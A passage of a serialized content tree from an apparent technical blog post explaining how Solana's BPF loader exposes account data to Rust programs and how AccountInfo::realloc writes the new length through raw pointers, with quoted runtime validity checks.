"tag":271,"props":22807,"children":22808},{"style":3887},[22809],{"type":29,"value":22810}," Rc",{"type":24,"tag":271,"props":22812,"children":22813},{"style":624},[22814],{"type":29,"value":11207},{"type":24,"tag":271,"props":22816,"children":22817},{"style":598},[22818],{"type":29,"value":22819},"new",{"type":24,"tag":271,"props":22821,"children":22822},{"style":288},[22823],{"type":29,"value":22824},"(RefCell",{"type":24,"tag":271,"props":22826,"children":22827},{"style":624},[22828],{"type":29,"value":11207},{"type":24,"tag":271,"props":22830,"children":22831},{"style":598},[22832],{"type":29,"value":22819},{"type":24,"tag":271,"props":22834,"children":22835},{"style":288},[22836],{"type":29,"value":22837},"({\n",{"type":24,"tag":271,"props":22839,"children":22840},{"class":273,"line":321},[22841,22846,22850,22854,22858,22862,22866,22870,22875,22879],{"type":24,"tag":271,"props":22842,"children":22843},{"style":598},[22844],{"type":29,"value":22845}," from_raw_parts_mut",{"type":24,"tag":271,"props":22847,"children":22848},{"style":288},[22849],{"type":29,"value":606},{"type":24,"tag":271,"props":22851,"children":22852},{"style":630},[22853],{"type":29,"value":16082},{"type":24,"tag":271,"props":22855,"children":22856},{"style":624},[22857],{"type":29,"value":41},{"type":24,"tag":271,"props":22859,"children":22860},{"style":598},[22861],{"type":29,"value":17344},{"type":24,"tag":271,"props":22863,"children":22864},{"style":288},[22865],{"type":29,"value":606},{"type":24,"tag":271,"props":22867,"children":22868},{"style":630},[22869],{"type":29,"value":8307},{"type":24,"tag":271,"props":22871,"children":22872},{"style":288},[22873],{"type":29,"value":22874},"), ",{"type":24,"tag":271,"props":22876,"children":22877},{"style":630},[22878],{"type":29,"value":21506},{"type":24,"tag":271,"props":22880,"children":22881},{"style":288},[22882],{"type":29,"value":694},{"type":24,"tag":271,"props":22884,"children":22885},{"class":273,"line":330},[22886],{"type":24,"tag":271,"props":22887,"children":22888},{"style":288},[22889],{"type":29,"value":22890},"}));\n",{"type":24,"tag":271,"props":22892,"children":22893},{"class":273,"line":339},[22894,22898,22902,22906,22910],{"type":24,"tag":271,"props":22895,"children":22896},{"style":630},[22897],{"type":29,"value":8307},{"type":24,"tag":271,"props":22899,"children":22900},{"style":624},[22901],{"type":29,"value":22762},{"type":24,"tag":271,"props":22903,"children":22904},{"style":630},[22905],{"type":29,"value":22682},{"type":24,"tag":271,"props":22907,"children":22908},{"style":624},[22909],{"type":29,"value":4253},{"type":24,"tag":271,"props":22911,"children":22912},{"style":288},[22913],{"type":29,"value":22914}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":271,"props":22916,"children":22917},{"class":273,"line":347},[22918,22922,22926,22930,22934,22938,22942,22946,22950,22954,22958,22963,22968],{"type":24,"tag":271,"props":22919,"children":22920},{"style":630},[22921],{"type":29,"value":8307},{"type":24,"tag":271,"props":22923,"children":22924},{"style":624},[22925],{"type":29,"value":22762},{"type":24,"tag":271,"props":22927,"children":22928},{"style":288},[22929],{"type":29,"value":1357},{"type":24,"tag":271,"props":22931,"children":22932},{"style":630},[22933],{"type":29,"value":8307},{"type":24,"tag":271,"props":22935,"children":22936},{"style":278},[22937],{"type":29,"value":16541},{"type":24,"tag":271,"props":22939,"children":22940},{"style":624},[22941],{"type":29,"value":3895},{"type":24,"tag":271,"props":22943,"children":22944},{"style":278},[22945],{"type":29,"value":611},{"type":24,"tag":271,"props":22947,"children":22948},{"style":3887},[22949],{"type":29,"value":22332},{"type":24,"tag":271,"props":22951,"children":22952},{"style":288},[22953],{"type":29,"value":2693},{"type":24,"tag":271,"props":22955,"children":22956},{"style":624},[22957],{"type":29,"value":41},{"type":24,"tag":271,"props":22959,"children":22960},{"style":598},[22961],{"type":29,"value":22962},"align_offset",{"type":24,"tag":271,"props":22964,"children":22965},{"style":288},[22966],{"type":29,"value":22967},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":271,"props":22969,"children":22970},{"style":2058},[22971],{"type":29,"value":22972},"// padding\n",{"type":24,"tag":25,"props":22974,"children":22975},{},[22976,22978,22983,22985,22991,22993,23004,23006,23011,23013,23019,23021,23027,23029,23035],{"type":29,"value":22977},"In English, we have the length of the data, as a ",{"type":24,"tag":135,"props":22979,"children":22981},{"className":22980},[],[22982],{"type":29,"value":15757},{"type":29,"value":22984},", followed immediately by the data, and an additional ",{"type":24,"tag":135,"props":22986,"children":22988},{"className":22987},[],[22989],{"type":29,"value":22990},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":22992}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":32,"props":22994,"children":22997},{"href":22995,"rel":22996},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[36],[22998],{"type":24,"tag":135,"props":22999,"children":23001},{"className":23000},[],[23002],{"type":29,"value":23003},"slice::from_raw_parts_mut",{"type":29,"value":23005},") - slices are how Rust represents a, well, ",{"type":24,"tag":10648,"props":23007,"children":23008},{},[23009],{"type":29,"value":23010},"slice",{"type":29,"value":23012}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":135,"props":23014,"children":23016},{"className":23015},[],[23017],{"type":29,"value":23018},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":23020},", giving us the unwieldy-looking type of ",{"type":24,"tag":135,"props":23022,"children":23024},{"className":23023},[],[23025],{"type":29,"value":23026},"AccountInfo.data",{"type":29,"value":23028},": ",{"type":24,"tag":135,"props":23030,"children":23032},{"className":23031},[],[23033],{"type":29,"value":23034},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":41},{"type":24,"tag":25,"props":23037,"children":23038},{},[23039,23041,23048],{"type":29,"value":23040},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":32,"props":23042,"children":23045},{"href":23043,"rel":23044},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[36],[23046],{"type":29,"value":23047},"cloning the referenced account",{"type":29,"value":12210},{"type":24,"tag":261,"props":23050,"children":23052},{"className":10718,"code":23051,"language":10717,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[23053],{"type":24,"tag":135,"props":23054,"children":23055},{"__ignoreMap":7},[23056,23064],{"type":24,"tag":271,"props":23057,"children":23058},{"class":273,"line":274},[23059],{"type":24,"tag":271,"props":23060,"children":23061},{"style":2058},[23062],{"type":29,"value":23063},"// Duplicate account, clone the original\n",{"type":24,"tag":271,"props":23065,"children":23066},{"class":273,"line":284},[23067,23071,23075,23079,23083,23087,23091,23096,23100,23104,23109,23113,23118],{"type":24,"tag":271,"props":23068,"children":23069},{"style":630},[23070],{"type":29,"value":22373},{"type":24,"tag":271,"props":23072,"children":23073},{"style":624},[23074],{"type":29,"value":41},{"type":24,"tag":271,"props":23076,"children":23077},{"style":598},[23078],{"type":29,"value":11535},{"type":24,"tag":271,"props":23080,"children":23081},{"style":288},[23082],{"type":29,"value":606},{"type":24,"tag":271,"props":23084,"children":23085},{"style":630},[23086],{"type":29,"value":22373},{"type":24,"tag":271,"props":23088,"children":23089},{"style":288},[23090],{"type":29,"value":4520},{"type":24,"tag":271,"props":23092,"children":23093},{"style":630},[23094],{"type":29,"value":23095},"dup_info",{"type":24,"tag":271,"props":23097,"children":23098},{"style":278},[23099],{"type":29,"value":16541},{"type":24,"tag":271,"props":23101,"children":23102},{"style":3887},[23103],{"type":29,"value":21432},{"type":24,"tag":271,"props":23105,"children":23106},{"style":288},[23107],{"type":29,"value":23108},"]",{"type":24,"tag":271,"props":23110,"children":23111},{"style":624},[23112],{"type":29,"value":41},{"type":24,"tag":271,"props":23114,"children":23115},{"style":598},[23116],{"type":29,"value":23117},"clone",{"type":24,"tag":271,"props":23119,"children":23120},{"style":288},[23121],{"type":29,"value":23122},"());\n",{"type":24,"tag":25,"props":23124,"children":23125},{},[23126,23128,23133,23135,23140,23142,23147,23149,23154,23155,23161,23163,23168,23170,23182,23184,23189],{"type":29,"value":23127},"Since ",{"type":24,"tag":135,"props":23129,"children":23131},{"className":23130},[],[23132],{"type":29,"value":8590},{"type":29,"value":23134}," inside the ",{"type":24,"tag":135,"props":23136,"children":23138},{"className":23137},[],[23139],{"type":29,"value":22636},{"type":29,"value":23141}," is a ",{"type":24,"tag":135,"props":23143,"children":23145},{"className":23144},[],[23146],{"type":29,"value":23018},{"type":29,"value":23148},", where the ",{"type":24,"tag":135,"props":23150,"children":23152},{"className":23151},[],[23153],{"type":29,"value":13704},{"type":29,"value":23141},{"type":24,"tag":135,"props":23156,"children":23158},{"className":23157},[],[23159],{"type":29,"value":23160},"&mut [u8]",{"type":29,"value":23162}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":135,"props":23164,"children":23166},{"className":23165},[],[23167],{"type":29,"value":22636},{"type":29,"value":23169},", we get a new reference",{"type":24,"tag":23171,"props":23172,"children":23173},"sup",{},[23174],{"type":24,"tag":32,"props":23175,"children":23180},{"href":23176,"ariaDescribedBy":23177,"dataFootnoteRef":7,"id":23179},"#user-content-fn-rc-refs",[23178],"footnote-label","user-content-fnref-rc-refs",[23181],{"type":29,"value":156},{"type":29,"value":23183}," to the slice pointing at the ",{"type":24,"tag":10648,"props":23185,"children":23186},{},[23187],{"type":29,"value":23188},"same",{"type":29,"value":23190}," data buffer.",{"type":24,"tag":25,"props":23192,"children":23193},{},[23194,23196,23202,23204,23210],{"type":29,"value":23195},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":135,"props":23197,"children":23199},{"className":23198},[],[23200],{"type":29,"value":23201},"RefCell",{"type":29,"value":23203}," to check the rules at runtime. (The ",{"type":24,"tag":135,"props":23205,"children":23207},{"className":23206},[],[23208],{"type":29,"value":23209},"lamports",{"type":29,"value":23211}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":23213,"children":23214},{},[23215,23217,23223],{"type":29,"value":23216},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":135,"props":23218,"children":23220},{"className":23219},[],[23221],{"type":29,"value":23222},"AccountInfo::data",{"type":29,"value":23224},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":23226,"children":23227},{},[23228,23230,23237],{"type":29,"value":23229},"This is also where the ",{"type":24,"tag":32,"props":23231,"children":23234},{"href":23232,"rel":23233},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[36],[23235],{"type":29,"value":23236},"runtime validity checks",{"type":29,"value":23238}," are imposed.",{"type":24,"tag":261,"props":23240,"children":23242},{"className":10718,"code":23241,"language":10717,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[23243],{"type":24,"tag":135,"props":23244,"children":23245},{"__ignoreMap":7},[23246,23254,23262,23270,23312,23330,23359,23404,23411,23435,23469,23493,23525,23540,23572,23579],{"type":24,"tag":271,"props":23247,"children":23248},{"class":273,"line":274},[23249],{"type":24,"tag":271,"props":23250,"children":23251},{"style":2058},[23252],{"type":29,"value":23253},"// Only the owner may change account data\n",{"type":24,"tag":271,"props":23255,"children":23256},{"class":273,"line":284},[23257],{"type":24,"tag":271,"props":23258,"children":23259},{"style":2058},[23260],{"type":29,"value":23261},"// and if the account is writable\n",{"type":24,"tag":271,"props":23263,"children":23264},{"class":273,"line":294},[23265],{"type":24,"tag":271,"props":23266,"children":23267},{"style":2058},[23268],{"type":29,"value":23269},"// and if the account is not executable\n",{"type":24,"tag":271,"props":23271,"children":23272},{"class":273,"line":303},[23273,23278,23282,23286,23290,23294,23299,23303,23308],{"type":24,"tag":271,"props":23274,"children":23275},{"style":749},[23276],{"type":29,"value":23277},"if",{"type":24,"tag":271,"props":23279,"children":23280},{"style":624},[23281],{"type":29,"value":20564},{"type":24,"tag":271,"props":23283,"children":23284},{"style":288},[23285],{"type":29,"value":606},{"type":24,"tag":271,"props":23287,"children":23288},{"style":630},[23289],{"type":29,"value":22364},{"type":24,"tag":271,"props":23291,"children":23292},{"style":624},[23293],{"type":29,"value":1031},{"type":24,"tag":271,"props":23295,"children":23296},{"style":630},[23297],{"type":29,"value":23298}," pre",{"type":24,"tag":271,"props":23300,"children":23301},{"style":624},[23302],{"type":29,"value":41},{"type":24,"tag":271,"props":23304,"children":23305},{"style":598},[23306],{"type":29,"value":23307},"owner",{"type":24,"tag":271,"props":23309,"children":23310},{"style":288},[23311],{"type":29,"value":15452},{"type":24,"tag":271,"props":23313,"children":23314},{"class":273,"line":312},[23315,23320,23325],{"type":24,"tag":271,"props":23316,"children":23317},{"style":624},[23318],{"type":29,"value":23319}," &&",{"type":24,"tag":271,"props":23321,"children":23322},{"style":630},[23323],{"type":29,"value":23324}," is_writable",{"type":24,"tag":271,"props":23326,"children":23327},{"style":2058},[23328],{"type":29,"value":23329}," // line coverage used to get branch coverage\n",{"type":24,"tag":271,"props":23331,"children":23332},{"class":273,"line":321},[23333,23337,23341,23345,23349,23354],{"type":24,"tag":271,"props":23334,"children":23335},{"style":624},[23336],{"type":29,"value":23319},{"type":24,"tag":271,"props":23338,"children":23339},{"style":624},[23340],{"type":29,"value":20564},{"type":24,"tag":271,"props":23342,"children":23343},{"style":630},[23344],{"type":29,"value":261},{"type":24,"tag":271,"props":23346,"children":23347},{"style":624},[23348],{"type":29,"value":41},{"type":24,"tag":271,"props":23350,"children":23351},{"style":598},[23352],{"type":29,"value":23353},"executable",{"type":24,"tag":271,"props":23355,"children":23356},{"style":288},[23357],{"type":29,"value":23358},"())\n",{"type":24,"tag":271,"props":23360,"children":23361},{"class":273,"line":330},[23362,23366,23370,23374,23378,23382,23387,23392,23396,23400],{"type":24,"tag":271,"props":23363,"children":23364},{"style":624},[23365],{"type":29,"value":23319},{"type":24,"tag":271,"props":23367,"children":23368},{"style":630},[23369],{"type":29,"value":23298},{"type":24,"tag":271,"props":23371,"children":23372},{"style":624},[23373],{"type":29,"value":41},{"type":24,"tag":271,"props":23375,"children":23376},{"style":598},[23377],{"type":29,"value":8590},{"type":24,"tag":271,"props":23379,"children":23380},{"style":288},[23381],{"type":29,"value":21742},{"type":24,"tag":271,"props":23383,"children":23384},{"style":624},[23385],{"type":29,"value":23386},"!=",{"type":24,"tag":271,"props":23388,"children":23389},{"style":630},[23390],{"type":29,"value":23391}," post",{"type":24,"tag":271,"props":23393,"children":23394},{"style":624},[23395],{"type":29,"value":41},{"type":24,"tag":271,"props":23397,"children":23398},{"style":598},[23399],{"type":29,"value":8590},{"type":24,"tag":271,"props":23401,"children":23402},{"style":288},[23403],{"type":29,"value":15452},{"type":24,"tag":271,"props":23405,"children":23406},{"class":273,"line":339},[23407],{"type":24,"tag":271,"props":23408,"children":23409},{"style":288},[23410],{"type":29,"value":702},{"type":24,"tag":271,"props":23412,"children":23413},{"class":273,"line":347},[23414,23418,23422,23426,23430],{"type":24,"tag":271,"props":23415,"children":23416},{"style":749},[23417],{"type":29,"value":5025},{"type":24,"tag":271,"props":23419,"children":23420},{"style":630},[23421],{"type":29,"value":23298},{"type":24,"tag":271,"props":23423,"children":23424},{"style":624},[23425],{"type":29,"value":41},{"type":24,"tag":271,"props":23427,"children":23428},{"style":598},[23429],{"type":29,"value":23353},{"type":24,"tag":271,"props":23431,"children":23432},{"style":288},[23433],{"type":29,"value":23434},"() {\n",{"type":24,"tag":271,"props":23436,"children":23437},{"class":273,"line":356},[23438,23442,23447,23451,23456,23460,23465],{"type":24,"tag":271,"props":23439,"children":23440},{"style":749},[23441],{"type":29,"value":8905},{"type":24,"tag":271,"props":23443,"children":23444},{"style":3887},[23445],{"type":29,"value":23446}," Err",{"type":24,"tag":271,"props":23448,"children":23449},{"style":288},[23450],{"type":29,"value":606},{"type":24,"tag":271,"props":23452,"children":23453},{"style":3887},[23454],{"type":29,"value":23455},"InstructionError",{"type":24,"tag":271,"props":23457,"children":23458},{"style":624},[23459],{"type":29,"value":11207},{"type":24,"tag":271,"props":23461,"children":23462},{"style":3887},[23463],{"type":29,"value":23464},"ExecutableDataModified",{"type":24,"tag":271,"props":23466,"children":23467},{"style":288},[23468],{"type":29,"value":1155},{"type":24,"tag":271,"props":23470,"children":23471},{"class":273,"line":365},[23472,23477,23481,23485,23489],{"type":24,"tag":271,"props":23473,"children":23474},{"style":288},[23475],{"type":29,"value":23476}," } ",{"type":24,"tag":271,"props":23478,"children":23479},{"style":749},[23480],{"type":29,"value":11044},{"type":24,"tag":271,"props":23482,"children":23483},{"style":749},[23484],{"type":29,"value":1352},{"type":24,"tag":271,"props":23486,"children":23487},{"style":630},[23488],{"type":29,"value":23324},{"type":24,"tag":271,"props":23490,"children":23491},{"style":288},[23492],{"type":29,"value":7145},{"type":24,"tag":271,"props":23494,"children":23495},{"class":273,"line":374},[23496,23500,23504,23508,23512,23516,23521],{"type":24,"tag":271,"props":23497,"children":23498},{"style":749},[23499],{"type":29,"value":8905},{"type":24,"tag":271,"props":23501,"children":23502},{"style":3887},[23503],{"type":29,"value":23446},{"type":24,"tag":271,"props":23505,"children":23506},{"style":288},[23507],{"type":29,"value":606},{"type":24,"tag":271,"props":23509,"children":23510},{"style":3887},[23511],{"type":29,"value":23455},{"type":24,"tag":271,"props":23513,"children":23514},{"style":624},[23515],{"type":29,"value":11207},{"type":24,"tag":271,"props":23517,"children":23518},{"style":3887},[23519],{"type":29,"value":23520},"ExternalAccountDataModified",{"type":24,"tag":271,"props":23522,"children":23523},{"style":288},[23524],{"type":29,"value":1155},{"type":24,"tag":271,"props":23526,"children":23527},{"class":273,"line":384},[23528,23532,23536],{"type":24,"tag":271,"props":23529,"children":23530},{"style":288},[23531],{"type":29,"value":23476},{"type":24,"tag":271,"props":23533,"children":23534},{"style":749},[23535],{"type":29,"value":11044},{"type":24,"tag":271,"props":23537,"children":23538},{"style":288},[23539],{"type":29,"value":7145},{"type":24,"tag":271,"props":23541,"children":23542},{"class":273,"line":393},[23543,23547,23551,23555,23559,23563,23568],{"type":24,"tag":271,"props":23544,"children":23545},{"style":749},[23546],{"type":29,"value":8905},{"type":24,"tag":271,"props":23548,"children":23549},{"style":3887},[23550],{"type":29,"value":23446},{"type":24,"tag":271,"props":23552,"children":23553},{"style":288},[23554],{"type":29,"value":606},{"type":24,"tag":271,"props":23556,"children":23557},{"style":3887},[23558],{"type":29,"value":23455},{"type":24,"tag":271,"props":23560,"children":23561},{"style":624},[23562],{"type":29,"value":11207},{"type":24,"tag":271,"props":23564,"children":23565},{"style":3887},[23566],{"type":29,"value":23567},"ReadonlyDataModified",{"type":24,"tag":271,"props":23569,"children":23570},{"style":288},[23571],{"type":29,"value":1155},{"type":24,"tag":271,"props":23573,"children":23574},{"class":273,"line":402},[23575],{"type":24,"tag":271,"props":23576,"children":23577},{"style":288},[23578],{"type":29,"value":4385},{"type":24,"tag":271,"props":23580,"children":23581},{"class":273,"line":411},[23582],{"type":24,"tag":271,"props":23583,"children":23584},{"style":288},[23585],{"type":29,"value":1171},{"type":24,"tag":85,"props":23587,"children":23589},{"id":23588},"back-to-realloc",[23590,23592],{"type":29,"value":23591},"Back to ",{"type":24,"tag":135,"props":23593,"children":23595},{"className":23594},[],[23596],{"type":29,"value":21339},{"type":24,"tag":25,"props":23598,"children":23599},{},[23600],{"type":29,"value":23601},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":261,"props":23603,"children":23604},{"className":10718,"code":22089,"language":10717,"meta":7,"style":7},[23605],{"type":24,"tag":135,"props":23606,"children":23607},{"__ignoreMap":7},[23608,23615,23702],{"type":24,"tag":271,"props":23609,"children":23610},{"class":273,"line":274},[23611],{"type":24,"tag":271,"props":23612,"children":23613},{"style":2058},[23614],{"type":29,"value":22101},{"type":24,"tag":271,"props":23616,"children":23617},{"class":273,"line":284},[23618,23622,23626,23630,23634,23638,23642,23646,23650,23654,23658,23662,23666,23670,23674,23678,23682,23686,23690,23694,23698],{"type":24,"tag":271,"props":23619,"children":23620},{"style":278},[23621],{"type":29,"value":19490},{"type":24,"tag":271,"props":23623,"children":23624},{"style":630},[23625],{"type":29,"value":21557},{"type":24,"tag":271,"props":23627,"children":23628},{"style":624},[23629],{"type":29,"value":1712},{"type":24,"tag":271,"props":23631,"children":23632},{"style":278},[23633],{"type":29,"value":21497},{"type":24,"tag":271,"props":23635,"children":23636},{"style":624},[23637],{"type":29,"value":41},{"type":24,"tag":271,"props":23639,"children":23640},{"style":598},[23641],{"type":29,"value":21574},{"type":24,"tag":271,"props":23643,"children":23644},{"style":288},[23645],{"type":29,"value":21579},{"type":24,"tag":271,"props":23647,"children":23648},{"style":624},[23649],{"type":29,"value":10865},{"type":24,"tag":271,"props":23651,"children":23652},{"style":598},[23653],{"type":29,"value":21588},{"type":24,"tag":271,"props":23655,"children":23656},{"style":288},[23657],{"type":29,"value":21579},{"type":24,"tag":271,"props":23659,"children":23660},{"style":624},[23661],{"type":29,"value":41},{"type":24,"tag":271,"props":23663,"children":23664},{"style":598},[23665],{"type":29,"value":8307},{"type":24,"tag":271,"props":23667,"children":23668},{"style":288},[23669],{"type":29,"value":606},{"type":24,"tag":271,"props":23671,"children":23672},{"style":624},[23673],{"type":29,"value":9821},{"type":24,"tag":271,"props":23675,"children":23676},{"style":477},[23677],{"type":29,"value":7670},{"type":24,"tag":271,"props":23679,"children":23680},{"style":288},[23681],{"type":29,"value":8823},{"type":24,"tag":271,"props":23683,"children":23684},{"style":278},[23685],{"type":29,"value":16555},{"type":24,"tag":271,"props":23687,"children":23688},{"style":624},[23689],{"type":29,"value":3895},{"type":24,"tag":271,"props":23691,"children":23692},{"style":278},[23693],{"type":29,"value":11448},{"type":24,"tag":271,"props":23695,"children":23696},{"style":3887},[23697],{"type":29,"value":13576},{"type":24,"tag":271,"props":23699,"children":23700},{"style":288},[23701],{"type":29,"value":1069},{"type":24,"tag":271,"props":23703,"children":23704},{"class":273,"line":294},[23705,23709,23713,23717,23721,23725,23729],{"type":24,"tag":271,"props":23706,"children":23707},{"style":624},[23708],{"type":29,"value":627},{"type":24,"tag":271,"props":23710,"children":23711},{"style":630},[23712],{"type":29,"value":21648},{"type":24,"tag":271,"props":23714,"children":23715},{"style":624},[23716],{"type":29,"value":1712},{"type":24,"tag":271,"props":23718,"children":23719},{"style":630},[23720],{"type":29,"value":21657},{"type":24,"tag":271,"props":23722,"children":23723},{"style":278},[23724],{"type":29,"value":16541},{"type":24,"tag":271,"props":23726,"children":23727},{"style":3887},[23728],{"type":29,"value":13576},{"type":24,"tag":271,"props":23730,"children":23731},{"style":288},[23732],{"type":29,"value":1069},{"type":24,"tag":25,"props":23734,"children":23735},{},[23736,23741,23743,23748,23750,23755,23757,23768,23770,23775,23777,23782],{"type":24,"tag":135,"props":23737,"children":23739},{"className":23738},[],[23740],{"type":29,"value":21574},{"type":29,"value":23742}," gives us the ",{"type":24,"tag":135,"props":23744,"children":23746},{"className":23745},[],[23747],{"type":29,"value":23160},{"type":29,"value":23749}," from the ",{"type":24,"tag":135,"props":23751,"children":23753},{"className":23752},[],[23754],{"type":29,"value":23034},{"type":29,"value":23756},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":32,"props":23758,"children":23761},{"href":23759,"rel":23760},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[36],[23762],{"type":24,"tag":135,"props":23763,"children":23765},{"className":23764},[],[23766],{"type":29,"value":23767},"slice::as_mut_ptr()",{"type":29,"value":23769}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":135,"props":23771,"children":23773},{"className":23772},[],[23774],{"type":29,"value":15757},{"type":29,"value":23776}," - behind the data buffer), and then writes ",{"type":24,"tag":135,"props":23778,"children":23780},{"className":23779},[],[23781],{"type":29,"value":21423},{"type":29,"value":23783}," to it.",{"type":24,"tag":25,"props":23785,"children":23786},{},[23787,23789,23801,23803,23809],{"type":29,"value":23788},"This is reasonable... ",{"type":24,"tag":10648,"props":23790,"children":23791},{},[23792,23794,23799],{"type":29,"value":23793},"as long as the ",{"type":24,"tag":135,"props":23795,"children":23797},{"className":23796},[],[23798],{"type":29,"value":8590},{"type":29,"value":23800}," actually came from the serialized buffer",{"type":29,"value":23802},". We'll come back to this ",{"type":24,"tag":32,"props":23804,"children":23806},{"href":23805},"#Not-contracts",[23807],{"type":29,"value":23808},"later",{"type":29,"value":41},{"type":24,"tag":25,"props":23811,"children":23812},{},[23813,23815,23820],{"type":29,"value":23814},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":135,"props":23816,"children":23818},{"className":23817},[],[23819],{"type":29,"value":23160},{"type":29,"value":23821}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":261,"props":23823,"children":23825},{"className":10718,"code":23824,"language":10717,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[23826],{"type":24,"tag":135,"props":23827,"children":23828},{"__ignoreMap":7},[23829,23837,23964],{"type":24,"tag":271,"props":23830,"children":23831},{"class":273,"line":274},[23832],{"type":24,"tag":271,"props":23833,"children":23834},{"style":2058},[23835],{"type":29,"value":23836},"// Then set the new length in the local slice\n",{"type":24,"tag":271,"props":23838,"children":23839},{"class":273,"line":284},[23840,23844,23848,23852,23856,23860,23864,23868,23872,23876,23880,23884,23888,23892,23896,23900,23904,23908,23912,23916,23920,23924,23928,23932,23936,23940,23944,23948,23952,23956,23960],{"type":24,"tag":271,"props":23841,"children":23842},{"style":278},[23843],{"type":29,"value":19490},{"type":24,"tag":271,"props":23845,"children":23846},{"style":630},[23847],{"type":29,"value":21557},{"type":24,"tag":271,"props":23849,"children":23850},{"style":624},[23851],{"type":29,"value":1712},{"type":24,"tag":271,"props":23853,"children":23854},{"style":624},[23855],{"type":29,"value":14858},{"type":24,"tag":271,"props":23857,"children":23858},{"style":278},[23859],{"type":29,"value":11448},{"type":24,"tag":271,"props":23861,"children":23862},{"style":624},[23863],{"type":29,"value":3895},{"type":24,"tag":271,"props":23865,"children":23866},{"style":288},[23867],{"type":29,"value":21716},{"type":24,"tag":271,"props":23869,"children":23870},{"style":278},[23871],{"type":29,"value":21414},{"type":24,"tag":271,"props":23873,"children":23874},{"style":624},[23875],{"type":29,"value":41},{"type":24,"tag":271,"props":23877,"children":23878},{"style":288},[23879],{"type":29,"value":8590},{"type":24,"tag":271,"props":23881,"children":23882},{"style":624},[23883],{"type":29,"value":41},{"type":24,"tag":271,"props":23885,"children":23886},{"style":598},[23887],{"type":29,"value":21737},{"type":24,"tag":271,"props":23889,"children":23890},{"style":288},[23891],{"type":29,"value":21742},{"type":24,"tag":271,"props":23893,"children":23894},{"style":278},[23895],{"type":29,"value":16555},{"type":24,"tag":271,"props":23897,"children":23898},{"style":624},[23899],{"type":29,"value":3895},{"type":24,"tag":271,"props":23901,"children":23902},{"style":278},[23903],{"type":29,"value":611},{"type":24,"tag":271,"props":23905,"children":23906},{"style":3887},[23907],{"type":29,"value":13576},{"type":24,"tag":271,"props":23909,"children":23910},{"style":288},[23911],{"type":29,"value":2693},{"type":24,"tag":271,"props":23913,"children":23914},{"style":624},[23915],{"type":29,"value":41},{"type":24,"tag":271,"props":23917,"children":23918},{"style":598},[23919],{"type":29,"value":8307},{"type":24,"tag":271,"props":23921,"children":23922},{"style":288},[23923],{"type":29,"value":606},{"type":24,"tag":271,"props":23925,"children":23926},{"style":477},[23927],{"type":29,"value":156},{"type":24,"tag":271,"props":23929,"children":23930},{"style":288},[23931],{"type":29,"value":8823},{"type":24,"tag":271,"props":23933,"children":23934},{"style":278},[23935],{"type":29,"value":16555},{"type":24,"tag":271,"props":23937,"children":23938},{"style":3887},[23939],{"type":29,"value":13576},{"type":24,"tag":271,"props":23941,"children":23942},{"style":288},[23943],{"type":29,"value":8823},{"type":24,"tag":271,"props":23945,"children":23946},{"style":278},[23947],{"type":29,"value":16555},{"type":24,"tag":271,"props":23949,"children":23950},{"style":624},[23951],{"type":29,"value":3895},{"type":24,"tag":271,"props":23953,"children":23954},{"style":278},[23955],{"type":29,"value":11448},{"type":24,"tag":271,"props":23957,"children":23958},{"style":3887},[23959],{"type":29,"value":13576},{"type":24,"tag":271,"props":23961,"children":23962},{"style":288},[23963],{"type":29,"value":1155},{"type":24,"tag":271,"props":23965,"children":23966},{"class":273,"line":294},[23967,23971,23975,23979,23983,23987,23991],{"type":24,"tag":271,"props":23968,"children":23969},{"style":624},[23970],{"type":29,"value":627},{"type":24,"tag":271,"props":23972,"children":23973},{"style":630},[23974],{"type":29,"value":21648},{"type":24,"tag":271,"props":23976,"children":23977},{"style":624},[23978],{"type":29,"value":1712},{"type":24,"tag":271,"props":23980,"children":23981},{"style":630},[23982],{"type":29,"value":21657},{"type":24,"tag":271,"props":23984,"children":23985},{"style":278},[23986],{"type":29,"value":16541},{"type":24,"tag":271,"props":23988,"children":23989},{"style":3887},[23990],{"type":29,"value":13576},{"type":24,"tag":271,"props":23992,"children":23993},{"style":288},[23994],{"type":29,"value":1069},{"type":24,"tag":25,"props":23996,"children":23997},{},[